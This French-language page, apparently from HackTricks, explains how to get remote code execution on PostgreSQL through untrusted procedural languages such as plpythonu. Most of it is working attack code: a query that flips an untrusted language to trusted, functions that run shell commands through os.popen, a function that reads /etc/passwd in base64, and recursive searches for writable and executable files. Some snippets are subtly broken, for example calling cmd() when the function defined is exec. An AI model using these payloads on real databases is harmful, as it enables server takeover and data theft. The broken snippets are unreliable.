RCE with PostgreSQL Languages

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Langages PostgreSQL

La base de données PostgreSQL à laquelle vous avez accès peut avoir différents langages de script installés que vous pourriez exploiter pour exécuter du code arbitraire.

Vous pouvez les mettre en marche:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

La plupart des langages de script que vous pouvez installer dans PostgreSQL ont 2 variantes : le fiable et le non fiable. Le non fiable aura un nom terminé par "u" et sera la version qui vous permettra d'exécuter du code et d'utiliser d'autres fonctions intéressantes. Voici des langages qui, s'ils sont installés, sont intéressants :

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (tout autre langage de programmation utilisant une version non sécurisée)

Si vous constatez qu'un langage intéressant est installé mais non fiable pour PostgreSQL (lanpltrusted est false), vous pouvez essayer de le rendre fiable avec la ligne suivante afin qu'aucune restriction ne soit appliquée par PostgreSQL :

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Si vous ne voyez pas une langue, vous pouvez essayer de la charger avec (vous devez être superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Notez qu'il est possible de compiler les versions sécurisées comme "non sécurisées". Consultez ce lien par exemple. Il vaut donc toujours la peine d'essayer si vous pouvez exécuter du code même si vous ne trouvez installée que la version de confiance.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

Le code PL/pgSQL est un langage procédural puissant qui peut être utilisé pour exécuter des requêtes SQL dynamiques. En exploitant une injection SQL dans une application PostgreSQL, un attaquant peut exécuter du code arbitraire en utilisant des fonctions PL/pgSQL. Cela peut être utilisé pour obtenir un accès à distance au serveur PostgreSQL ou pour exécuter des commandes système sur le serveur. Il est important de sécuriser correctement les applications PostgreSQL pour éviter les injections SQL et de limiter les privilèges des utilisateurs pour réduire les risques d'attaques.

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

pgSQL

Vérifiez la page suivante :

pagePL/pgSQL Password Bruteforce

C

Vérifiez la page suivante :

pageRCE with PostgreSQL Extensions
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Dernière mise à jour